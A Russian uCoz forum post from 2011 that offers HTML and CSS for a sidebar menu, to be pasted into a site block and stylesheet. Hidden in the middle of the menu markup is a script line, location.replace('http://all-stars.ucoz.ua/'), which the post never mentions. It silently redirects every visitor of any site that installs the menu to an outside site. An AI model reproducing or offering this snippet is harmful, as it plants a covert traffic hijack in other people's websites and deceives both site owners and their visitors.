[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
Страница 1 из 11
Форум » Скрипты для uCoz » Другие скрипты для uCoz » NEW menu ( 2011 )
NEW menu ( 2011 )
GLAMUR4IKДата: Воскресенье, 17.04.2011, 16:25 | Сообщение # 1
Группа: Проверенные
Сообщений: 177
Награды: 0
Репутация: 5

Создаем блок и кидаем туда код :

Code
<center><div class="mc-tm">        

<a class="menubydredd theauthordredd" href="/" >Основ. раздел</a>        
<div class="dreddmenu">        
<ul>        
        <li><a href="/">Главная страничка</a>        
        <li><a href="/load/">Файловый архив</a></li>        
        <li><a href="/board">Онлайн фильмы</a></li>        
        <li><a href="/dir" style="text-shadow:0px 0px 5px #808080;">Топ сайтов</a></li>        
        <li><a href="/gb/">Гостевая</a></li>        
        <li><a href="/news/">BY_DUMBASS</a></li>        
        <li><a href="/photo/">С ВАС +</a></li>        
        <li><a href="/forum/">Форум</a></li>        
        </ul>        
</div>        
        <a class="menubydredd theauthordredd" href="/" >Rip Студия</a>        
<div class="dreddmenu">        
<ul>        
        <li><a href="http://mc-tm.pp.ru/forum/56">Заказ Ripa Шаблона</a></li>        
        <li><a href="http://mc-tm.pp.ru/forum/57">Заказ Ripa Скрипта</a></li>        
        <li><a href="http://mc-tm.pp.ru/forum/58">Готовые Rip'ы Скриптов</a></li>        
        <li><a href="/load/ucoz/ripy_ot_nas/92">Готовые Rip'ы Шаблонов</a></li>        

        </ul>        
</div>  
<script>       
location.replace('http://all-stars.ucoz.ua/');       
</script><noindex><style type="text/css">.UhideBlock {display:none}</style></noindex>        
<a class="menubydredd theauthordredd" href="/load" >Game</a>        
<div class="dreddmenu">        
<ul>        
        <li><a href="/load/igry/96">Игры На Pc</a>        

        </ul>        
</div>        
        <a class="menubydredd theauthordredd" href="/" >Ucoz</a>        
<div class="dreddmenu">        
<ul>        
        <li><a href="/load/89">Иконки</a></li>        
        <li><a href="/load/88">Шаблоны</a></li>        
        <li><a href="/load/ucoz/shapki/87">Шапки</a></li>        
        <li><a href="http://mc-tm.pp.ru/load/ucoz/ripy_ot_nas/92">Рипы От Нас</a></li>        

        </ul>        
</div>        
        <a class="menubydredd theauthordredd" href="/" >Всё для Фотошоп</a>        
<div class="dreddmenu">        
<ul>        
        <li><a href="/load/40" title="Кисти">Кисти</a></li>        
        <li><a href="/load/41" title="Шрифты">Шрифты</a></li>        
        <li><a href="/load/42" title="Градиенты">Градиенты</a></li>        
        <li><a href="/load/43" title="Стили">Стили</a></li>        
        <li><a href="http://mc-tm.pp.ru/forum/19" title="PSD">Готовые PSD</a></li>        
        </ul>        
</div></center>

В CSS

Code
/* mc-tm */    
   .mc-tm{        
   margin: 5px 0;        
   padding: 0;        
   width: 178px; /*width of menu*/        
   border: 1px solid #ff0000;        
   border-bottom-width: 0;        
   }        

   .mc-tm a.menubydredd{        
   background: url() #c5c5c5;        
   font: normal 10px "Visitor_Rus", "Visitor_Rus", Visitor_Rus, Visitor_Rus, Visitor_Rus;        
   color: #808080;        
   display: block;        
   position: relative; /*To help in the anchoring of the ".dreddy" icon image*/        
   width: auto;        
   padding: 4px 0;        
   padding-left: 10px;        
   text-decoration: none;        
   border-top: 0px solid #ff0000;        
   border-bottom: 1px solid #ff0000;        
   }        

   .mc-tm a.menubydredd:visited, .mc-tm .menubydredd:active{        
   color: #808080;        
   }        

   .mc-tm a.menubydredd .dreddy{ /*CSS for icon image that gets dynamically added to headers*/        
   position: absolute;        
   top: 5px;        
   right: 5px;        
   border: none;        
   }        

   .mc-tm a.menubydredd:hover{        
   background-image: url(/gs/menuh.png);    
   color: #000000; text-shadow:0px 0px 5px #ff0000;        
   }        

   .mc-tm div.dreddmenu{ /*DIV that contains each sub menu*/        
   background-image: url(/gs/menuo.png);        
   }        

   .mc-tm div.dreddmenu ul{ /*UL of each sub menu*/        
   list-style-type: none;        
   margin: 0;        
   padding: 0;        
   }        

   .mc-tm div.dreddmenu ul li{        
   border-bottom: 1px solid #000000;        
   }        

   .mc-tm div.dreddmenu ul li a{        
   display: block;        
   font: normal 10px "Visitor_Rus", "Visitor_Rus", Visitor_Rus, Visitor_Rus, Visitor_Rus;        
   color:#808080;    
   text-decoration: none;        
   padding: 2px 0;        
   padding-left: 10px;        
   }        

   .mc-tm div.dreddmenu ul li a:hover{        
   color: #ff0000; text-shadow:0px 0px 5px #ff3939    
   colorz: #999999;        
   }        

   .mc-tm{margin: 5px 0; padding: 0; width: 180px; /*width of menu*/ border: 1px solid #000000; border-bottom-width: 0; }        

   .mc-tm a.menubydredd{background:url(/gs/menuo.png) #808080 ;font: normal 10px "Visitor_Rus", "Visitor_Rus";        
   color:#808080    
   display: block;        
   position: relative; /*To help in the anchoring of the ".dreddy" icon image*/        
   width: auto;        
   padding: 4px 0;        
   padding-left: 10px;        
   text-decoration: none;        
   border-top: 0px solid #000000;        
   border-bottom: 1px solid #000000;        
   }        

   .mc-tm a.menubydredd:visited, .mc-tm .menubydredd:active{        
   color: #808080;        
   }        

   .mc-tm a.menubydredd .dreddy{ /*CSS for icon image that gets dynamically added to headers*/        
   position: absolute;        
   top: 5px;        
   right: 5px;        
   border: none;        
   }        

   .mc-tm a.menubydredd:hover{        
   background: url(/gs/menuh.png) #ff0000;        
   }        

   .mc-tm div.dreddmenu{ /*DIV that contains each sub menu*/        
   background:#303030;        
   }        

   .mc-tm div.dreddmenu ul{ /*UL of each sub menu*/        
   list-style-type: none;        
   margin: 0;        
   padding: 0;        
   }        

   .mc-tm div.dreddmenu ul li{        
   border-bottom: 1px solid #000000;        
   }        

   .mc-tm div.dreddmenu ul li a{        
   display: block;        
   font: normal 10px "Visitor_Rus", "Visitor_Rus";        
   background:url(/gs/m2.png);        
   text-decoration: none;        
   padding: 2px 0;        
   padding-left: 15px;        
   }        

   .mc-tm div.dreddmenu ul li a:hover{        
   background:url(/gs/m2.png);background-position:0px -20px;    
   }    
   /* ------------------------------------------ */
Форум » Скрипты для uCoz » Другие скрипты для uCoz » NEW menu ( 2011 )
Страница 1 из 11
Поиск: